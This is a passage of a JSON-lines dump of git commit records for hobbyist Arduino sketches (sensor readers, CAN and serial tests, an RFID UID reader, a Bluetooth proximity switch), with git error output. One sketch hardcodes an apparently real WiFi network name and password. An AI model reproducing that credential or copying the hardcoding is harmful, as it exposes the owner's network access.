\"Host: \" + phantServer + \"\\n\" +\n \"Phant-Private-Key: \" + privateKey + \"\\n\" +\n \"Connection: close\\n\" + \n \"Content-Type: application\/x-www-form-urlencoded\\n\";\n\nvoid setup() \n{\n int status;\n Serial.begin(9600);\n \n \/\/ To turn the MG2639 shield on, and verify communication\n \/\/ always begin a sketch by calling cell.begin().\n status = esp8266.begin();\n if (status <= 0)\n {\n Serial.println(F(\"Unable to communicate with shield. Looping\"));\n while(1) ;\n }\n \n esp8266.setMode(ESP8266_MODE_STA); \/\/ Set WiFi mode to station\n if (esp8266.status() <= 0) \/\/ If we're not already connected\n {\n if (esp8266.connect(mySSID, myPSK) < 0)\n {\n Serial.println(F(\"Error connecting\"));\n while (1) ;\n } \n }\n \n \/\/ Get our assigned IP address and print it:\n Serial.print(F(\"My IP address is: \"));\n Serial.println(esp8266.localIP());\n \n Serial.println(F(\"Press any key to post to Phant!\"));\n}\n\nvoid loop()\n{\n \/\/ If a character has been received over serial:\n if (Serial.available())\n {\n \/\/ !!! Make sure we haven't posted recently\n \/\/ Post to Phant!\n postToPhant();\n \/\/ Then clear the serial buffer:\n while (Serial.available())\n Serial.read();\n }\n}\n\nvoid postToPhant()\n{\n \/\/ Create a client, and initiate a connection\n ESP8266Client client;\n \n if (client.connect(phantServer, 80) <= 0)\n {\n Serial.println(F(\"Failed to connect to server.\"));\n return;\n }\n Serial.println(F(\"Connected.\"));\n \n \/\/ Set up our Phant post parameters:\n String params;\n params += \"analog0=\" + String(analogRead(A0)) + \"&\";\n params += \"analog1=\" + String(analogRead(A1)) + \"&\";\n params += \"analog2=\" + String(analogRead(A2)) + \"&\";\n params += \"analog3=\" + String(analogRead(A3)) + \"&\";\n params += \"analog4=\" + String(analogRead(A4)) + \"&\";\n params += \"analog5=\" + String(analogRead(A5));\n \n Serial.println(F(\"Posting to Phant!\"));\n\n client.print(httpHeader);\n client.print(\"Content-Length: \"); client.println(params.length());\n client.println();\n client.print(params);\n\n \/\/ available() will return the number of characters\n \/\/ currently in the receive buffer.\n while (client.available())\n Serial.write(client.read()); \/\/ read() gets the FIFO char\n \n \/\/ connected() is a boolean return value - 1 if the \n \/\/ connection is active, 0 if it's closed.\n if (client.connected())\n client.stop(); \/\/ stop() closes a TCP connection.\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ESP8266_Phant\/ESP8266_Phant.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"13ca7df097ce34c20917689534d6e81fcf825122","subject":"init deep","message":"init deep\n","repos":"iakashpaul\/deep,iakashpaul\/deep","old_file":"deep\/deep.ino","new_file":"deep\/deep.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/iakashpaul\/deep.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"be7c80a4b5dbac07d55454750530887c4f288e2f","subject":"cleaned up code style, debounced button3","message":"cleaned up code style, debounced button3\n","repos":"bojdell\/lodestar,bojdell\/lodestar,bojdell\/lodestar","old_file":"Microcontroller Code\/libraries\/my_lib\/examples\/base_uno_w_lib_v2\/base_uno_w_lib_v2.ino","new_file":"Microcontroller Code\/libraries\/my_lib\/examples\/base_uno_w_lib_v2\/base_uno_w_lib_v2.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Microcontroller' did not match any file(s) known to git\nerror: pathspec 'Code\/libraries\/my_lib\/examples\/base_uno_w_lib_v2\/base_uno_w_lib_v2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f50d7a5bc12b03898343bbc7d21c7ee61ba1fa19","subject":"initially added","message":"initially added\n","repos":"iam-ictm\/redcat-uartpilot,iam-ictm\/redcat-uartpilot","old_file":"test_interfaces\/test_interfaces.ino","new_file":"test_interfaces\/test_interfaces.ino","new_contents":"\/*\n * Copyright (C) 2016 BFH - Bern University of Applied Sciences, http:\/\/bfh.ch\n * Author: Pascal Mainini <pascal.mainini@bfh.ch>\n *\n * Licensed under MIT license, see included file LICENSE or\n * http:\/\/opensource.org\/licenses\/MIT\n *\n * A simple test program to check if all required interfaces behave correctly.\n *\/\n#include <due_can.h>\n\nvoid setup() {\n Serial.begin(115200);\n Serial1.begin(115200);\n\n Can0.begin(CAN_BPS_250K);\n Can1.begin(CAN_BPS_250K);\n}\n\nvoid loop() {\n CAN_FRAME frame;\n frame.id = 0x23;\n frame.length = 8;\n frame.data.low = 0xEFBEADDE;\n\n Serial.write(\"Testing Serial1 port...\\n\\r\");\n if(Serial1.available() > 0) {\n Serial1.write(\"Received: \");\n Serial1.write(Serial1.read());\n Serial1.write(\"\\n\\r\");\n } else {\n Serial1.write(\"Waiting...\\n\\r\");\n }\n delay(1000);\n\n Serial.write(\"Testing Can0 port...\\n\\r\");\n frame.data.high = 0x00000000;\n Can0.sendFrame(frame);\n delay(1000);\n\n Serial.write(\"Testing Can1 port...\\n\\r\");\n frame.data.high = 0x11111111;\n Can1.sendFrame(frame);\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test_interfaces\/test_interfaces.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"27a47f3bc9a2cf929c488565d2204fad6e73aebf","subject":"Create photon-arduino.ino","message":"Create photon-arduino.ino","repos":"hpssjellis\/phonegap-cloud9-instant-apk,hpssjellis\/phonegap-cloud9-instant-apk","old_file":"photon-arduino.ino","new_file":"photon-arduino.ino","new_contents":"\nint analogValue = 0; \/\/ Hold A0 value = 0-4095\nint incomingByte = 0; \/\/ for incoming serial data\n\nvoid setup()\n{\n Serial.begin(9600); \/\/ normal rate\n \/\/ Serial.begin(115200); \/\/ATmega\n}\n\nvoid loop() {\n \n analogValue = analogRead(A0); \/\/ pin A0\n Serial.println(analogValue); \n \n if (Serial.available() > 0) { \/\/ read the incoming byte:\n \n incomingByte = Serial.read();\n Serial.println(incomingByte, DEC);\n if (incomingByte == 97){ \/\/ ascii code for small letter 'a'\n Serial.println(\"Wow\"); \n }\n } \n \n delay(2000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'photon-arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d61f40451deda306a1d0a1d8eb46bbfa3ab7d4dd","subject":"Added Intel Edison files","message":"Added Intel Edison files\n","repos":"ShahzaibGill\/SoundLytics-Final,ShahzaibGill\/SoundLytics-Final","old_file":"edison\/Soundlytics\/Soundlytics.ino","new_file":"edison\/Soundlytics\/Soundlytics.ino","new_contents":"#include <SPI.h>\n#include <WiFi.h>\n#include <math.h>\n\nbyte id[6];\n\nfloat temperature;\nfloat resistance;\n\nconst int sound = A0;\nconst int light = A1;\nconst int temp = A2;\nint soundval = 0;\nfloat lightval = 0;\nfloat tempval = 0;\n\nchar ssid[] = \"AndroidAP-1137\"; \/\/ your network SSID (name) \nchar pass[] = \"justinpaulin\"; \/\/ your network password (use for WPA, or use as key for WEP)\nint keyIndex = 0; \/\/ your network key Index number (needed only for WEP)\n\nint status = WL_IDLE_STATUS;\nchar server[] = \"www.justinpaulin.com\";\nWiFiClient client;\n\nvoid setup() {\n \/\/Serial.begin(9600);\n \n if (WiFi.status() == WL_NO_SHIELD) {\n \/\/Serial.println(\"WiFi shield not present\"); \n \/\/ don't continue:\n while(true);\n }\n \/\/String fv = WiFi.firmwareVersion();\n \/\/if( fv != \"1.1.0\" )\n \/\/Serial.println(\"Please upgrade the firmware\");\n \n \/\/ attempt to connect to Wifi network:\n while (status != WL_CONNECTED) { \n \/\/Serial.print(\"Attempting to connect to SSID: \");\n \/\/Serial.println(ssid);\n \/\/ Connect to WPA\/WPA2 network. Change this line if using open or WEP network: \n status = WiFi.begin(ssid, pass);\n \n \/\/ wait 10 seconds for connection:\n delay(5000);\n }\n \n WiFi.macAddress(id);\n \n \/\/Serial.println(\"Connected to wifi\");\n \/\/printWifiStatus();\n}\n\nvoid loop() {\n soundval = analogRead(sound);\n lightval = analogRead(light);\n tempval = analogRead(temp);\n \n resistance = (float)(1023-tempval)*10000\/tempval;\n temperature = 1\/(log(resistance\/10000)\/3975+1\/298.15)-273.15;\n tempval = temperature;\n \n lightval=(float)(1023-lightval)*10\/lightval;\n\n \/*Serial.print(\"sound = \" );\n Serial.println(soundval);\n Serial.print(\"light = \");\n Serial.println(lightval);\n Serial.print(\"temp = \");\n Serial.println(tempval);*\/\n \n client.stop();\n if (client.connect(server, 80)) {\n \/\/ Make a HTTP request:\n client.print(\"GET \/demos\/dev\/soundlytics\/servlet\/postback.php?id=\");\n client.print(id[5]);\n client.print(id[4]);\n client.print(id[3]);\n client.print(id[2]);\n client.print(id[1]);\n client.print(id[0]);\n client.print(\"&sound=\");\n client.print(soundval);\n client.print(\"&light=\");\n client.print(lightval);\n client.print(\"&temp=\");\n client.print(tempval);\n client.println(\" HTTP\/1.1\");\n client.println(\"Host: www.justinpaulin.com\");\n client.println(\"User-Agent: IntelEdison\/1.1\");\n client.println(\"Connection: close\");\n client.println();\n }\n \n \/*while (client.available()) {\n char c = client.read();\n Serial.write(c);\n }*\/\n \n delay(5000);\n \n}\n\nvoid printWifiStatus() {\n \/\/ print the SSID of the network you're attached to:\n Serial.print(\"SSID: \");\n Serial.println(WiFi.SSID());\n\n \/\/ print your WiFi shield's IP address:\n IPAddress ip = WiFi.localIP();\n Serial.print(\"IP Address: \");\n Serial.println(ip);\n\n \/\/ print the received signal strength:\n long rssi = WiFi.RSSI();\n Serial.print(\"signal strength (RSSI):\");\n Serial.print(rssi);\n Serial.println(\" dBm\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'edison\/Soundlytics\/Soundlytics.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"12ba1b6212889b431f4438db0bb873c9f47772db","subject":"Added my auto lights and one touch turn signal Arduino sketch","message":"Added my auto lights and one touch turn signal Arduino sketch\n","repos":"sergesyrota\/arduino-projects,sergesyrota\/arduino-projects","old_file":"sketches\/AutoLightsAndTurn\/Arduino_sketch.ino","new_file":"sketches\/AutoLightsAndTurn\/Arduino_sketch.ino","new_contents":"#include <OneTouchLaneChange.h>\n#include <AutoHeadlights.h>\n\n\/\/ Initializing auto headlights class.\n\/\/ A3 is the input pin of the sensor\n\/\/ Digital pin 6 is the one that control the headlights.\nAutoHeadlights headlight = AutoHeadlights(A3, 6);\n\nOneTouchLaneChange lane = OneTouchLaneChange();\n\nvoid setup() {\n \/\/ Set thresholds for on and off readings\n headlight.setSensorThreshold(300, 640);\n \n \/\/ Configuration for lane change module\n \/\/ input and output pins respectively\n lane.addPair(8,9);\n lane.addPair(7,10);\n \/\/ Amount of time signal should be left ON after input is gone, ms\n lane.stickTime = 3000;\n \/\/ If input continues beyond this amount of time - ignore, ms\n lane.ignoreThreshold = 300;\n}\n\n\nvoid loop() {\n lane.run();\n headlight.run();\n delay(50);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/AutoLightsAndTurn\/Arduino_sketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b594a16396c1a936cc46b44b9586ee2734be83de","subject":"way for Leonardo to easily do absolute mouse move","message":"way for Leonardo to easily do absolute mouse move","repos":"rit-sse\/holo-desk,rit-sse\/holo-desk,rit-sse\/holo-desk,rit-sse\/holo-desk","old_file":"HID\/HID\/AbsoluteMouseMode.ino","new_file":"HID\/HID\/AbsoluteMouseMode.ino","new_contents":"\/*\n Copyright (c) 2014-2015 NicoHood\n See the readme for credit to other people.\n AbsoluteMouse example\n Press a button to click, moveTo the mouse.\n You may also use SingleAbsoluteMouse to use a single report.\n See HID Project documentation for more infos\n https:\/\/github.com\/NicoHood\/HID\/wiki\/Mouse-API\n https:\/\/github.com\/NicoHood\/HID\/wiki\/AbsoluteMouse-API\n*\/\n\n#include \"HID-Project.h\"\n\nvoid setup() {\n\n \/\/ Sends a clean report to the host. This is important on any Arduino type.\n AbsoluteMouse.begin();\n}\n\nvoid loop() {\n \/\/ Move to coordinate (16bit signed, -32768 - 32767)\n \/\/ Moving to the same position twice will not work!\n \/\/ X and Y start in the upper left corner.\n AbsoluteMouse.moveTo(0, 0);\n delay(1000);\n AbsoluteMouse.moveTo(1024,1024);\n delay(1000);\n AbsoluteMouse.moveTo(5000,5000);\n delay(1000);\n\n\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'HID\/HID\/AbsoluteMouseMode.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9583dc0b1c70fc5990cb076b54425aa28d3aaae0","subject":"Initial commit, blinking LED with zapper trigger","message":"Initial commit, blinking LED with zapper trigger\n","repos":"paasovaara\/nes-zapper,paasovaara\/nes-zapper","old_file":"src\/zapper\/zapper.ino","new_file":"src\/zapper\/zapper.ino","new_contents":"const int outPinLed = 2;\nconst int inPinTrigger = 7;\n\nint triggerPressed = 0;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n \n pinMode(outPinLed, OUTPUT);\n digitalWrite(outPinLed, LOW);\n\n pinMode(inPinTrigger, INPUT);\n\n}\n\nvoid loop() {\n int triggerPrev = triggerPressed;\n triggerPressed = digitalRead(inPinTrigger);\n if (triggerPressed != triggerPrev) {\n Serial.print(\"Trigger state changed: \");\n Serial.println(triggerPressed);\n }\n\n int ledState = triggerPressed ? HIGH : LOW;\n digitalWrite(outPinLed, ledState);\n\n}\r\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"1a8a2679ac4093d57b1a58ee686f07ae9c443886","subject":"Created this project","message":"Created this project\n","repos":"Raydivine\/IoT-for-Modern-Agriculture,Raydivine\/IoT-for-Modern-Agriculture","old_file":"ESP8266-12E\/ESP8266-12E.ino","new_file":"ESP8266-12E\/ESP8266-12E.ino","new_contents":"#include <SoftwareSerial.h>\n\nSoftwareSerial Wifi(2,3); \/\/pin2 as RX pin, pin3 as TX pin\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"Wifi Started\");\n Wifi.begin(9600);\n\n}\n\n\nvoid loop() { \n \n if (Wifi.available()) {\n Serial.write(Wifi.read());\n }\n if (Serial.available()) {\n Wifi.write(Serial.read());\n }\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"97d148060ebbf9e265954c0e66a34ee2eed57b16","subject":"open comment","message":"open comment\n","repos":"awangga\/NFCReader","old_file":"NFCReader\/NFCReader.ino","new_file":"NFCReader\/NFCReader.ino","new_contents":"#include \"SPI.h\"\n#include \"MFRC522.h\"\n\n#define SS_PIN 10\n#define RST_PIN 9\n#define SP_PIN 8\n\nMFRC522 rfid(SS_PIN, RST_PIN);\n\nMFRC522::MIFARE_Key key;\n\nvoid setup() {\n Serial.begin(9600);\n SPI.begin();\n rfid.PCD_Init();\n}\n\nvoid loop() {\n if (!rfid.PICC_IsNewCardPresent() || !rfid.PICC_ReadCardSerial())\n return;\n\n Serial.print(F(\"PICC type: \"));\n MFRC522::PICC_Type piccType = rfid.PICC_GetType(rfid.uid.sak);\n Serial.println(rfid.PICC_GetTypeName(piccType));\n\n \/\/ Check is the PICC of Classic MIFARE type\n if (piccType != MFRC522::PICC_TYPE_MIFARE_MINI &&\n piccType != MFRC522::PICC_TYPE_MIFARE_1K &&\n piccType != MFRC522::PICC_TYPE_MIFARE_4K) {\n Serial.println(F(\"Your tag is not of type MIFARE Classic.\"));\n return;\n }\n\n String strID = \"\";\n for (byte i = 0; i < 4; i++) {\n strID +=\n (rfid.uid.uidByte[i] < 0x10 ? \"0\" : \"\") +\n String(rfid.uid.uidByte[i], HEX) +\n (i!=3 ? \":\" : \"\");\n }\n strID.toUpperCase();\n Serial.print(\"Tap card key: \");\n Serial.println(strID);\n\n rfid.PICC_HaltA();\n rfid.PCD_StopCrypto1();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'NFCReader\/NFCReader.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"862b9ddbb46337a1264623fae6fcfb8cdecfa5e9","subject":"Using Node Red to connect to Pusher","message":"Using Node Red to connect to Pusher\n","repos":"Mastergalen\/RPlayr","old_file":"remote\/remote.ino","new_file":"remote\/remote.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Mastergalen\/RPlayr.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"28866fb3f0ab89c6420073003eae881413be777e","subject":"Adding Proximity sensor by device name","message":"Adding Proximity sensor by device name\n","repos":"sergesyrota\/arduino-projects,sergesyrota\/arduino-projects","old_file":"sketches\/ProximityByName\/ProximityByName.ino","new_file":"sketches\/ProximityByName\/ProximityByName.ino","new_contents":"\n\/\/ Interface for Bluetooth module\n#include <SoftwareSerial.h>\nSoftwareSerial btSerial(5, 6); \/\/ RX | TX\n\n#define KEY_PIN 4 \/\/ PIN to switch module in AT mode\n#define OUT_PIN 9 \/\/ Which one we'll be switching\n#define OFF_DELAY 15000 \/\/ Milliseconds\n\n\/\/ Array for device addresses and expected return to match name\n#define NUM_DEVICES 2 \/\/ should match number of elements below\n\/\/ MAC addresses of recognized bluetooth devices. Format: 0000,00,000000\nString deviceAddress[NUM_DEVICES] = {\"0000,00,000000\", \"0000,00,000000\"};\n\/\/ Expected response of device name, starting with \"+RNAME:\"\nString expectedResponse[NUM_DEVICES] = {\"+RNAME:btdevice\", \"+RNAME:btdevice\"};\n\n\/\/ Some state variables to keep track of things\nint currentState = LOW;\nlong lastOffTrigger;\nString content = \"\";\nchar character;\n\nvoid setup() \n{\n pinMode(OUT_PIN, OUTPUT);\n pinMode(KEY_PIN, OUTPUT);\n digitalWrite(OUT_PIN, LOW);\n \/\/ To put module in AT mode, need to have LOW supplied for key pin on start, and then switch to HIGH after a bit\n digitalWrite(KEY_PIN, LOW);\n delay(1000);\n digitalWrite(KEY_PIN, HIGH);\n delay(1000);\n Serial.begin(9600);\n btSerial.begin(9600);\n}\n\nvoid loop() \n{\n \/\/ Reset desired output to LOW. No devices found, we don't want turning it on\n int output = LOW;\n \/\/ Cycle through all devices to see if any one of them is in the range\n for (int i=0; i<NUM_DEVICES; i++) {\n \/\/ Clear buffer for module communication\n content = \"\";\n \/\/ Send request for device name, using the address provided.\n Serial.println(\"Sending request\");\n btSerial.write(\"at+rname?\");\n btSerial.write((deviceAddress[i]).c_str());\n btSerial.write(\"\\r\\n\");\n while(!btSerial.available()) {\n \/\/ wait for response\n }\n while(btSerial.available()) {\n \/\/ read full response\n character = btSerial.read();\n content.concat(character);\n }\n Serial.print(content);\n \/\/ If return matches with our expected response, that means device is in range :)\n if (content.startsWith(expectedResponse[i])) {\n output=HIGH;\n }\n }\n \/\/ Now, sometimes we'll get a false negative when we can't get the name, while device is in range\n \/\/ Happened to me one of 4-5 times on average, running without any delay functions.\n \/\/ That's why we need a delay that will switch output ON immediately, but turn OFF with a delay to compensate for false negatives\n delaySwitch(output);\n}\n\n\/\/ Switch ON immediately, while delay switching OFF\nvoid delaySwitch(int desiredState)\n{\n \/\/ Nothing to do, except resetting OFF trigger time\n if (desiredState == currentState) {\n lastOffTrigger = 0;\n return;\n }\n \n \/\/ Turn on signals are written immediately\n if (desiredState == HIGH) {\n digitalWrite(OUT_PIN, desiredState);\n currentState = desiredState;\n return;\n }\n \n \/\/ If this is the first time we've got OFF signal, store the instance\n if (lastOffTrigger == 0) {\n lastOffTrigger = millis();\n }\n \n \/\/ Turn off signals should have a delay\n if ((millis() - lastOffTrigger) > OFF_DELAY) {\n digitalWrite(OUT_PIN, desiredState);\n currentState = desiredState;\n \/\/ Reset the trigger, just in case\n lastOffTrigger = 0;\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/ProximityByName\/ProximityByName.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2c9c9550050dd0474a40a62c439d1258f4e7b689","subject":"Updated Arduino Sketch","message":"Updated Arduino Sketch\n","repos":"team3042\/Badge,team3042\/Badge","old_file":"arduino\/morse\/morse.ino","new_file":"arduino\/morse\/morse.ino","new_contents":"#define DELAY_MS 150\n#define DUTY_CYCLE 10\n#define BRIGHTNESS 8\n\nint led = 0; \/\/attiny84 pin 13\n\/\/int led = 4; \/\/attiny85 pin 3\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() {\n \/\/ initialize the digital pin as an output.\n pinMode(led, OUTPUT);\n digitalWrite(led, LOW);\n}\n\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n unsigned int morseWord[108] = {59530,47243,40961,56605,56436,29788,59,41610,47232,1885,51063,5568,696,48035,47803,32775,17493,50269,14,59630,58275,41696,373,4544,942,58299,35552,468,30577,30493,7637,56320,14882,44578,59392,30535,30493,7447,11,41656,59392,23645,7644,22301,7488,739,41896,117,4433,5959,14,48014,60971,35758,47104,29765,23621,53248,61070,60986,14894,29,50629,55056,235,47342,58040,117,53620,30172,30551,28672,59530,47243,40961,56605,56436,29788,42,11834,60928,7633,56775,30493,18260,30172,18293,30464,3720,43912,47616,7633,56775,18245,49155,35002,35752,92,46,41608,92,29813,10,41656,47672,117,56439,29020};\n byte i,j,k;\n for ( i=0; i<2; i++) {\n for ( j=0; j<=15; j++ ) {\n if ( (morseWord[i] & (1<<(15-j))) > 0 ) {\n digitalWrite(led, HIGH);\n } else {\n digitalWrite(led, LOW);\n }\n delay(DELAY_MS);\n }\n digitalWrite(led, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(DELAY_MS*14); \/\/ wait for a second\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/morse\/morse.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"15b565b4187be46113ffa4d5202571e7d2dbe566","subject":"Added light sensor test code in tests folder","message":"Added light sensor test code in tests folder\n","repos":"insaneinside\/urc2014,insaneinside\/urc2014,insaneinside\/urc2014","old_file":"tests\/light sensor test\/SFE_TSL2561_test.ino","new_file":"tests\/light sensor test\/SFE_TSL2561_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'tests\/light' did not match any file(s) known to git\nerror: pathspec 'sensor' did not match any file(s) known to git\nerror: pathspec 'test\/SFE_TSL2561_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"aa2402adcc94c770db65ebd564a421a801c1def6","subject":"Adding a simple tool for port\/pin map verification.","message":"Adding a simple tool for port\/pin map verification.\n","repos":"mikaelpatel\/Cosa,dansut\/Cosa,kc9jud\/Cosa,rrobinet\/Cosa,dansut\/Cosa,kc9jud\/Cosa,kc9jud\/Cosa,jeditekunum\/Cosa,jeditekunum\/Cosa,rrobinet\/Cosa,rrobinet\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,rrobinet\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa,dansut\/Cosa,kc9jud\/Cosa","old_file":"examples\/Tools\/CosaPinScanner\/CosaPinScanner.ino","new_file":"examples\/Tools\/CosaPinScanner\/CosaPinScanner.ino","new_contents":"\/**\n * @file CosaPinScanner.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2014, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n * \n * @section Description\n * Periodically scan pins.\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/Watchdog.hh\"\n#include \"Cosa\/IOStream\/Driver\/UART.hh\"\n#include \"Cosa\/Trace.hh\"\n\nvoid setup()\n{\n uart.begin(9600);\n trace.begin(&uart, PSTR(\"CosaPinScanner: started\"));\n Watchdog::begin();\n SLEEP(5);\n}\n\nvoid print(IOStream& outs, uint8_t value)\n{\n uint8_t bit = 0x80;\n while (bit) {\n outs << ((value & bit) != 0);\n bit >>= 1;\n }\n outs << ' ';\n}\n\nvoid loop()\n{\n#if defined(PINA)\n trace << PSTR(\"PINA \");\n#endif\n#if defined(PINB)\n trace << PSTR(\"PINB \");\n#endif\n#if defined(PINC)\n trace << PSTR(\"PINC \");\n#endif\n#if defined(PIND)\n trace << PSTR(\"PIND \");\n#endif\n#if defined(PINE)\n trace << PSTR(\"PINE \");\n#endif\n#if defined(PINF)\n trace << PSTR(\"PINF \");\n#endif\n#if defined(PING)\n trace << PSTR(\"PING \");\n#endif\n#if defined(PINH)\n trace << PSTR(\"PINH \");\n#endif\n trace << endl;\n#if defined(PINA)\n print(trace, PINA);\n#endif\n#if defined(PINB)\n print(trace, PINB);\n#endif\n#if defined(PINC)\n print(trace, PINC);\n#endif\n#if defined(PIND)\n print(trace, PIND);\n#endif\n#if defined(PINE)\n print(trace, PINE);\n#endif\n#if defined(PINF)\n print(trace, PINF);\n#endif\n#if defined(PING)\n print(trace, PING);\n#endif\n#if defined(PINH)\n print(trace, PINH);\n#endif\n trace << endl;\n SLEEP(2);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Tools\/CosaPinScanner\/CosaPinScanner.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"f5811e1e9062c8c084f6c39eb39a7217ce8d675b","subject":"changed version to 1.0","message":"changed version to 1.0\n","repos":"TEAMarg\/ID-36-Trolly-Fish,TEAMarg\/ID-36-Trolly-Fish","old_file":"FISH_AB\/FISH_AB.ino","new_file":"FISH_AB\/FISH_AB.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TEAMarg\/ID-36-Trolly-Fish.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8bbea0dd1284ea1dc1bffce08841ee83f6bebf21","subject":"Create sketch_temperature_humidity_pro.ino","message":"Create sketch_temperature_humidity_pro.ino","repos":"CICCIOSGAMINO\/arduino_TRE,CICCIOSGAMINO\/arduino_TRE,CICCIOSGAMINO\/arduino_TRE","old_file":"Seeed\/Temperature_Humidity_Pro\/sketch_temperature_humidity_pro.ino","new_file":"Seeed\/Temperature_Humidity_Pro\/sketch_temperature_humidity_pro.ino","new_contents":"#include \"DHT.h\"\n\n#define DHTPIN A0 \/\/ what pin we're connected to\n\n\/\/ Uncomment whatever type you're using!\n#define DHTTYPE DHT11 \/\/ DHT 11\n\/\/#define DHTTYPE DHT22 \/\/ DHT 22 (AM2302)\n\/\/#define DHTTYPE DHT21 \/\/ DHT 21 (AM2301)\n\n\/\/ Connect pin 1 (on the left) of the sensor to +5V\n\/\/ Connect pin 2 of the sensor to whatever your DHTPIN is\n\/\/ Connect pin 4 (on the right) of the sensor to GROUND\n\/\/ Connect a 10K resistor from pin 2 (data) to pin 1 (power) of the sensor\n\nDHT dht(DHTPIN, DHTTYPE);\n\nvoid setup()\n{\n Serial.begin(9600);\n Serial.println(\"DHTxx test!\");\n\n dht.begin();\n}\n\nvoid loop()\n{\n \/\/ Reading temperature or humidity takes about 250 milliseconds!\n \/\/ Sensor readings may also be up to A0 seconds 'old' (its a very slow sensor)\n float h = dht.readHumidity();\n float t = dht.readTemperature();\n delay(500);\n \/\/ check if returns are valid, if they are NaN (not a number) then something went wrong!\n if (isnan(t) || isnan(h))\n {\n Serial.println(\"Failed to read from DHT\");\n }\n else\n {\n Serial.print(\"Humidity: \");\n Serial.print(h);\n Serial.print(\" %\\t\");\n Serial.print(\"Temperature: \");\n Serial.print(t);\n Serial.println(\" *C\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Seeed\/Temperature_Humidity_Pro\/sketch_temperature_humidity_pro.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9fc88d6aef27750eeafa32a49c134936156dcf44","subject":"added viterbi example","message":"added viterbi example\n","repos":"arjo129\/uSpeech,arjo129\/uSpeech","old_file":"examples\/viterbitest\/viterbitest.ino","new_file":"examples\/viterbitest\/viterbitest.ino","new_contents":"\n#include <uspeech.h>\n#define led 13\nsignal voice(A0);\nString collvoice;\nchar prev;\nboolean newline=false;\nint sum = 0;\nvoid setup(){\n voice.f_enabled = true;\n voice.minVolume = 1500;\n voice.fconstant = 400;\n voice.econstant = 1;\n voice.aconstant = 2;\n voice.vconstant = 3;\n voice.shconstant = 4;\n voice.calibrate();\n Serial.begin(9600);\n pinMode(led, OUTPUT); \n}\n\nvoid loop(){\n voice.sample();\n char p = voice.getPhoneme();\n if(p!=' '){\n if((p=='f')){\n newline = true;\n }\n else{\n \n newline = false;\n }\n }\n else{\n if(newline){\n digitalWrite(led, LOW);\n }\n else{\n digitalWrite(led, HIGH);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/viterbitest\/viterbitest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} 